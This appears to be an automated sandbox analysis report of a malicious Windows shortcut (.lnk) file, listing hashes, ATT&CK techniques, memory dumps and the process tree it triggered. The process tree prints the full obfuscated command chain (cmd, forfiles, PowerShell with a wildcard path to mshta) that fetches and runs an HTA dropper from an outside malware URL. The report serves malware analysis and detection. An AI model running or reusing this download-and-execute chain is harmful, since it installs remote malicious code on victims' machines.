61085e8dfb80e7de7fba6b83066253f6479fb81b4bbc0b4c4b18477c035bf92c

Analysis

max time kernel
89s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
12/02/2024, 02:40

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General

Target

61085e8dfb80e7de7fba6b83066253f6479fb81b4bbc0b4c4b18477c035bf92c.lnk
Size

2KB
MD5

572b88eb24399ecb796a86dfe7f9fc59
SHA1

65db9c2f7228b938744d25035de0db78af615c14
SHA256

61085e8dfb80e7de7fba6b83066253f6479fb81b4bbc0b4c4b18477c035bf92c
SHA512

0381061daff51e7ff875248838710ee3744849ddf4a3557f8ed71aee6ad524ebaacb4bc388c2feb3bd2d1ec257fefbb6a52e8bb9cac68c6b808936979df4bf9e

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://mw-solaris.com/solaris.hta

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	4296	mshta.exe
18	4296	mshta.exe
21	4296	mshta.exe
24	4296	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5056	powershell.exe
5056	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5056	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4960 wrote to memory of 4740	4960	cmd.exe	21
PID 4960 wrote to memory of 4740	4960	cmd.exe	21
PID 4740 wrote to memory of 5056	4740	forfiles.exe	20
PID 4740 wrote to memory of 5056	4740	forfiles.exe	20
PID 5056 wrote to memory of 4296	5056	powershell.exe	23
PID 5056 wrote to memory of 4296	5056	powershell.exe	23

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\61085e8dfb80e7de7fba6b83066253f6479fb81b4bbc0b4c4b18477c035bf92c.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4960
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p \Windows\SKB /c "powershell . \*i*\S*3*\m*ta.e* https://mw-solaris.com/solaris.hta
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
. \*i*\S*3*\m*ta.e* https://mw-solaris.com/solaris.hta
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5056
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" https://mw-solaris.com/solaris.hta
  2⤵
  - Blocklisted process makes network request
  PID:4296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ktpjf0hv.vir.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5056-0-0x000001B45DD40000-0x000001B45DD62000-memory.dmp

Filesize
136KB

Download
memory/5056-16-0x00007FF8BDF40000-0x00007FF8BEA01000-memory.dmp

Filesize
10.8MB

Download
memory/5056-12-0x000001B45DC30000-0x000001B45DC40000-memory.dmp

Filesize
64KB

Download
memory/5056-11-0x000001B45DC30000-0x000001B45DC40000-memory.dmp

Filesize
64KB

Download
memory/5056-10-0x00007FF8BDF40000-0x00007FF8BEA01000-memory.dmp

Filesize
10.8MB

Download